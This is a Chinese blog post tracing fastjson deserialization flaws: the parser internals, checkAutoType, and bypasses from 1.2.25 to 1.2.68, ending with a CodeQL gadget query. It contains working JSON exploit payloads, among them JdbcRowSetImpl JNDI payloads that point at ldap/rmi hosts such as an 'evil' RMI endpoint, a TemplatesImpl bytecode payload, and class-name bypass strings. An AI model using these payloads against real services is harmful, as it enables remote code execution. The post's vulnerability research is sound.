灭霸头条

fastjson记录

2024-03-20 12:58 由 Yg~ 发表于 #后端开发

参考指南

fastjson：我一路向北，离开有你的季节 | 素十八 (su18.org)

Java 反序列化漏洞始末（3）— fastjson - 浅蓝 's blog (b1ue.cn)

梅子酒の笔记本 (meizjm3i.github.io)

fastjson基础

早期版本的 fastjson 的框架图

fastjson 功能要点：

  • fastjson 在创建一个类实例时会通过反射调用类中符合条件的 getter/setter 方法以及构造方法，其中

    • getter 方法需满足条件：方法名长于 4、不是静态方法、以 get 开头且第4位是大写字母、方法不能有参数传入、继承自 Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong、此属性没有 setter 方法；
    • setter 方法需满足条件：方法名长于 4，以 set 开头且第4位是大写字母、非静态方法、返回类型为 void 或当前类、参数个数为 1 个。具体逻辑在 com.alibaba.fastjson.util.JavaBeanInfo.build() 中。
    • 构造方法：优先选无参构造，没有无参构造会选取唯一的构造方法。如有多个构造方法，优先选参数最多的public构造方法。如参数最多的构造方法有多个则随机选取一个构造方法。如果被实例化的是静态内部类，也可以忽视修饰。如果被实例化的是非public类，构造方法里的的参数类型仍然可以进一步反序列化
    • public field参数类型以及静态代码块；

  • fastjson 在为类属性寻找 get/set 方法时，调用函数 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch() 方法，会忽略 _|- 字符串，也就是说哪怕你的字段名叫 _a_g_e_，getter 方法为 getAge()，fastjson 也可以找得到，在 1.2.36 版本及后续版本还可以支持同时使用 _ 和 - 进行组合混淆。

  • 如果目标类中私有变量没有 setter 方法，但是在反序列化时仍想给这个变量赋值，则需要使用 Feature.SupportNonPublicField 参数。

漏洞分析

早期

经典利用有两条利用链

  • JdbcRowSetImpl(JNDI) （lookup，最常见）

  • TemplatesImpl(Feature.SupportNonPublicField)（jdk7u21的利用链触发方式）

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://0.0.0.0","autoCommit":true}

{
	"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
	"_bytecodes": ["yv66vgAAADQA...CJAAk="],
	"_name": "hello",
	"_tfactory": {},
	"_outputProperties": {},
}

分析

com.alibaba.fastjson.JSON#parse(java.lang.String, int)中的parse方法实例化一个DefaultJSONParser对象并调用parse方法，之后跟进

DefaultJSONParser会初始化lexer进行不同操作，这个 lexer 属性实际上是在 DefaultJSONParser 对象被实例化的时候创建的，初始化了个JSONScanner对象

public DefaultJSONParser(String input, ParserConfig config, int features) {
    this(input, new JSONScanner(input, features), config);
}

因为在DefaultJSONParser操作中可明显看到token为12

public DefaultJSONParser(Object input, JSONLexer lexer, ParserConfig config) {
    this.dateFormatPattern = JSON.DEFFAULT_DATE_FORMAT;
    this.contextArrayIndex = 0;
    this.resolveStatus = 0;
    this.extraTypeProviders = null;
    this.extraProcessors = null;
    this.fieldTypeResolver = null;
    this.lexer = lexer;
    this.input = input;
    this.config = config;
    this.symbolTable = config.symbolTable;
    int ch = lexer.getCurrent();
    if (ch == '{') {
        lexer.next();
        ((JSONLexerBase)lexer).token = 12;
    } else if (ch == '[') {
        lexer.next();
        ((JSONLexerBase)lexer).token = 14;
    } else {
        lexer.nextToken();
    }

}

com.alibaba.fastjson.parser.DefaultJSONParser#parse(java.lang.Object)，

case 12:
    JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
    return this.parseObject((Map)object, fieldName);

这里new 了一个 JSONObject 对象之后进入parseObject方法

com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)，检测json格式，并对下个字符进行判断。

进行判断后，获取@type对应值，之后使用loadClass进行装载。之后getDeserializer获取序列化对象，com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze(com.alibaba.fastjson.parser.DefaultJSONParser, java.lang.reflect.Type, java.lang.Object, java.lang.Object, int)最终进行对其进行反射调用setter操作执行漏洞代码；

if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
    ref = lexer.scanSymbol(this.symbolTable, '"');
    Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
    if (clazz != null) {
        lexer.nextToken(16);
        if (lexer.token() != 13) {
            this.setResolveStatus(2);
            if (this.context != null && !(fieldName instanceof Integer)) {
                this.popContext();
            }

            if (object.size() > 0) {
                instance = TypeUtils.cast(object, clazz, this.config);
                this.parseObject(instance);
                thisObj = instance;
                return thisObj;
            }

            ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
            thisObj = deserializer.deserialze(this, clazz, fieldName);
            return thisObj;
        }

com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader)，只要存在就会缓存到mappings里；

public static Class<?> loadClass(String className, ClassLoader classLoader) {
    if (className != null && className.length() != 0) {
        Class<?> clazz = (Class)mappings.get(className);    // mappings 里缓存了一些常用的基本类型，com.sun.rowset.JdbcRowSetImpl肯定是不在这里的
        if (clazz != null) {
            return clazz;
        } else if (className.charAt(0) == '[') {
            Class<?> componentType = loadClass(className.substring(1), classLoader);
            return Array.newInstance(componentType, 0).getClass();
        } else if (className.startsWith("L") && className.endsWith(";")) {
            String newClassName = className.substring(1, className.length() - 1);
            return loadClass(newClassName, classLoader);
        } else {            // 最终走到 最后一个else分支里
            try {
                if (classLoader != null) {
                    clazz = classLoader.loadClass(className);
                    mappings.put(className, clazz);
                    return clazz;
                }
            } catch (Throwable var6) {
                var6.printStackTrace();
            }

            try {
                ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
                if (contextClassLoader != null) {
                    clazz = contextClassLoader.loadClass(className);    // 加载类
                    mappings.put(className, clazz); //将类对象缓存在 mappings 对象
                    return clazz;
                }
            } catch (Throwable var5) {
                ;
            }

            try {
                clazz = Class.forName(className);
                mappings.put(className, clazz);
                return clazz;
            } catch (Throwable var4) {
                return clazz;
            }
        }
    } else {
        return null;
    }
}

中期修复

1.2.25版本更新中新增autoTypeSupport默认为false，将不支持指定类的反序列化。并通过checkAutoType函数对加载类进行黑名单+白名单验证；

获取类对象的方法由原来的TypeUtils.loadClass替换为了checkAutoType

if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
    ref = lexer.scanSymbol(this.symbolTable, '"');
    Class<?> clazz = this.config.checkAutoType(ref, (Class)null);

com.alibaba.fastjson.parser.ParserConfig#checkAutoType，

  1. 如果开启了 autoType，先判断类名是否在白名单中，如果在，就使用 TypeUtils.loadClass 加载，然后使用黑名单判断类名的开头，如果匹配就抛出异常。
  2. TypeUtils.mappings 中和 deserializers 中尝试查找要反序列化的类，存在则return；
  3. 如果没开启 autoType ，则是先使用黑名单匹配，再使用白名单匹配和加载。最后，如果要反序列化的类和黑白名单都未匹配时，只有开启了 autoType 或者 expectClass 不为空也就是指定了 Class 对象时才会调用 TypeUtils.loadClass 加载。因此中期的相关漏洞基本集中于此；

TypeUtils.loadClass的方法和checkAutoType存在判断差异导致了绕过；(需要开启autoType)，调用loadClass方法是循环调用，并且第二个'['也可以进行绕过

Lcom.sun.rowset.JdbcRowSetImpl;
LLLcom.sun.rowset.JdbcRowSetImpl;;;

"[com.sun.rowset.JdbcRowSetImpl"[

if (className != null && className.length() != 0) {
    Class<?> clazz = (Class)mappings.get(className);
    if (clazz != null) {
        return clazz;
    } else if (className.charAt(0) == '[') {
        Class<?> componentType = loadClass(className.substring(1), classLoader);
        return Array.newInstance(componentType, 0).getClass();
    } else if (className.startsWith("L") && className.endsWith(";")) {
        String newClassName = className.substring(1, className.length() - 1);
        return loadClass(newClassName, classLoader);
    } else {
        try {

之后再1.2.42中延续之前检测模式并且将黑名单采用hash方式，避免了反向研究；

还有就是针对loadClass的修补，以及相关黑名单的添加；

{
    "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    "properties":{
        "data_source":"ldap://127.0.0.1:23457/Command8"
    }
}

fastjson-1.2.47

到了1.2.47，出现了部分通杀AutoTypeSupport利用漏洞；

影响版本：1.2.25 <= fastjson <= 1.2.32 未开启 AutoTypeSupport
影响版本：1.2.33 <= fastjson <= 1.2.47

POC:

{
    "name":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "f":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://10.165.93.31:1090/evil",
        "autoCommit":"true"
    }
}

以上我们可以看到是解析两个对象，第一个是java.lang.Class，其不在黑名单，因此checkAutoType会顺利通过；

由前文的checkAutoType逻辑可以发现在两次AutoTypeSupport判断中间存在缓存读取的逻辑；而本次的绕过逻辑也主要集中在此；至于影响版本的差异主要是AutoTypeSupport开启的黑名单判断中增加了TypeUtils.mappings是否存在该类缓存的判断。

  • deserializers 位于 com.alibaba.fastjson.parser.ParserConfig.deserializers ，是一个 IdentityHashMap；这个map的key为各种Class类型，value为其对应的反序列化处理类。赋值的函数有：
    • getDeserializer()：这个类用来加载一些特定类，以及有 JSONType 注解的类，在 put 之前都有类名及相关信息的判断，无法为我们所用。
    • initDeserializers()：无入参，在构造方法中调用，写死一些认为没有危害的固定常用类，无法为我们所用。
    • putDeserializer()：被前两个函数调用，我们无法控制入参。
  • TypeUtils.getClassFromMapping(typeName)。这个方法从 TypeUtils.mappings 中取值，这是一个 ConcurrentHashMap 对象
    • addBaseClassMappings()：无入参，加载
    • loadClass()：关键函数

关注com.alibaba.fastjson.serializer.MiscCodec#deserialze 方法，这个类主要用于处理特定功能的反序列化类；包括Class.calss类，因此成为入口

com.alibaba.fastjson.serializer.MiscCodec#deserialze

if (clazz == Class.class) {
    return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());

因此，当1.2.32之前版本需要AutoTypeSupport为false，才能走到获取缓存mapping的操作，而33-47的版本因为在AutoTypeSupport第一步检查中mapping判断多了一步缓存检查，导致了绕过；

fastjson-1.2.68

影响版本：fastjson <= 1.2.68
描述：利用 expectClass 绕过 checkAutoType() ，实际上也是为了绕过安全检查的思路的延伸。主要使用 Throwable 和 AutoCloseable 进行绕过。

47之后进行了修复，cache设置为false，并且loadClass设置为默认调用不缓存。

if (clazz == Class.class) {
    return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader(), false);
}

1.2.68新增了个安全控制点sfaeMode，开启safeMode表示完全禁用autoType；

在 checkAutoType() 函数中有这样的逻辑：如果函数有 expectClass 入参，且我们传入的类名是 expectClass 的子类或实现，并且不在黑名单中，就可以通过 checkAutoType() 的安全检测。并且会添加入缓存mappings中，进而后续思路就如1.2.47；

if (clazz != null) {
    if (jsonType) {
        TypeUtils.addMapping(typeName, clazz);
        return clazz;
    }

    if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
            || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
            ) {
        throw new JSONException("autoType is not support. " + typeName);
    }

    if (expectClass != null) {
        if (expectClass.isAssignableFrom(clazz)) {
            TypeUtils.addMapping(typeName, clazz);
            return clazz;
        } else {
            throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
        }
    }

可控expectClass入参的方法：

  • ThrowableDeserializer#deserialze()，需要为Throwable子类
  • JavaBeanDeserializer#deserialze() AutoCloseable白名单，其子类

展望

codeql利用挖掘fastjson

漏洞分析 | 利用 CodeQL 分析 fastjson 1.2.80 利用链-安全客 - 安全资讯平台 (anquanke.com)

class ThrowableClass extends Class {
    ThrowableClass() {
        this.getASupertype*().hasQualifiedName("java.lang", "Throwable")
    }
}

Field getPublicFieldFromClass(Class cl) {
    exists(Field field| 
        field.getDeclaringType() = cl
        and field.getAModifier().getName() = "public"
        and result = field
    )
}

Parameter getParameterFromConstructor(Class cl) {
    exists(Constructor constructor, Parameter p | 
        constructor = cl.getAConstructor()
        and constructor.getNumberOfParameters() = max(int i | cl.getAConstructor().getNumberOfParameters() = i | i)
        and p = constructor.getAParameter()
        and result = p
    )
}


class NewInstaceMethod extends Method {
    NewInstaceMethod() {
        exists(GenericClass gclass |
            this.getName() = "newInstance"
            and gclass.getQualifiedName() = "java.lang.reflect.Constructor"
            and this.getDeclaringType().getSourceDeclaration() = gclass
        )
    }
}


query predicate edges(Callable a, Callable b) { 
    a.polyCalls(b)
}


predicate isExcludeClass(RefType type) {
    not (
        type.getQualifiedName() in [
            "java.lang.Object", 
            "java.lang.String",
            "java.lang.Number",
            "java.lang.Integer",
            "java.lang.Class"
        ]
    )
}

from ThrowableClass tclass, Class sourceClass, SetterMethod setter, NewInstaceMethod method, Constructor constructor
where (
    sourceClass = getPublicFieldFromClass(tclass).getType().(Class)
    or (
        setter.getDeclaringType() = tclass
        and sourceClass = setter.getField().getType().(Class)
    )
    or sourceClass = getParameterFromConstructor(tclass).getType().(Class)
) and isExcludeClass(sourceClass)
and isExcludeClass(sourceClass.getASubtype*())
and constructor = sourceClass.getASubtype*().getAConstructor()
and edges+(constructor, method)
select constructor, constructor, method, "Fastjson Gadget"

热门相关：惊悚乐园   剑道邪尊Ⅱ   拳皇之梦   校花之高手无敌   风流医圣